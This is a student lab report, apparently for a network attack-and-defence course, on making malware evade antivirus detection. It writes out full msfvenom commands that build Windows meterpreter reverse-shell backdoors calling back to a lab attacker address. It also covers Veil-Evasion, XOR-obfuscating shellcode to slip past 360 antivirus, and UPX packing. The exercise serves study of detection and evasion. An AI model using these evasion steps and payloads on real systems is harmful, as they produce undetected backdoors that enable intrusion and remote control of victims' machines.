20155326 刘美岑 《网络对抗技术》免杀原理与实践

实践内容

1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

2)通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

基础问题回答

(1)杀软是如何检测出恶意代码的?

答:AV厂商检测恶意软件的方式主流的就三种:

基于特征码的检测:每个程序都会有一段特征码,或者说是一段数据。杀毒软件可以检测某个程序的特征码是否包含恶意代码的特征码,以此来判定是否为恶意代码

启发式恶意软件检测:杀毒软件检测某个程序在系统中做的事情,是不是恶意代码做的事情。以此来判断是不是恶意代码

基于行为的恶意软件检测:也是启发式的一种,可以理解为加了监控模式的启发式检测

(2)免杀是做什么?

答:免杀就是就是让我们的恶意软件没法被以上三种方式找到。

(3)免杀的基本方法有哪些?

答:对于针对杀软基于特征码的检测方法,可以改变或者隐藏恶意代码的特征码。比如使用加壳或者是异或改变特征码。

实践过程记录

MSF编码器

首先,直接使用上一个实验生成的后门程序检测结果如下(由于要去除数字,所以将之前的后门程序改了个名字,后面的测试代码也是这样):

接着我们试一下进行一次编码,输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.26.132 LPORT=5326 -f exe > bdoor.exe 对恶意代码进行一次编码,生成新的恶意代码bdoor,放到virscan检测结果如下:

再来试一下十次编码会是什么结果,输入指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.26.132 LPORT=5326 -f exe > bdoor1.exe 对恶意代码编码10次,生成新的恶意代码bdoor1,检测结果如下:

这里看出编码次数再多,也没什么变化。

使用Veil-Evasion生成可执行文件

输入指令:veil打开veil

使用命令:use Evasionz找到其中c/meterpreter/rev_tcp.cp,接着设置IP和端口:set LHOST 192.168.26.131 和set LPORT 5326

将该后门拷到本机时360没有叫嚣出现恶意程序,该可执行文件存在kali计算机的/var/lib/veil/output/compiled/文件夹里,将文件放到网站上扫描(这里重命名为bdoor2):

利用shellcode编程

首先,生成一段shellcode代码:

将自己生成的shellcode代码加入到老师给的程序中,编译出来一个恶意代码程序,然后对其进行检测

在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c

创建一个C文件:MSSC_5326.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:

使用i686-w64-mingw32-g++ MSSC_5326.c -o MSSC_5236.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5236.exe

放到网上检查一下:

接下来应该将上面生成的数组copy到主机上,用vc编写一个C程序并编译,在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功得到shell。

接下来,将刚刚生成的shellcode进行伪装,以免被杀毒软件查出来,将shellcode数组与0x26异或,将变化后的shellcode放入原C文件中,再加入for循环将使他还原,发现回连成功。

上面的代码经学姐指出有问题后将_asm;之后的‘;’删掉了,也不知道为什么之前的代码有问题但是也能运行出来,我觉得可能vs的容错性较高?错的代码都能运行。。。

将生成的.exe程序进行测试,** 360在运行时没有报警告 **,virscan测试结果如下,可以看出经过伪装后还是有用的:

加壳

upx是一种压缩程序,可以实现加壳的功能,输入以下指令:upx MSSC_5326.exe(需要加壳的文件名) -o MSSC1_5326.exe(加壳后的文件名)

检测结果如下:

离实战还缺些什么技术或步骤

可以通过类似挂马的方式将恶意代码传到靶机上。

杀毒软件的病毒库会随时更新,恶意代码不会长久产生危害,恶意代码需要被设计的更高级。

实践总结与体会

通过这次的免杀实验,我掌握了恶意代码躲避杀毒软件检测的方法,体会到了病毒程序的恐怖。发现了只要将恶意代码稍作修改,就能逃脱杀毒软件真的检测,可见最好的方法还是不下载不明软件,不点击不正规的网站,及时更新病毒库。...我也不知道我的360怎么了,在实验中我每次把测试的恶意代码从kali拖到自己电脑时都没有安全警告提示,后来发现好像是上次实验关过一次360以后没有打开360杀毒。。。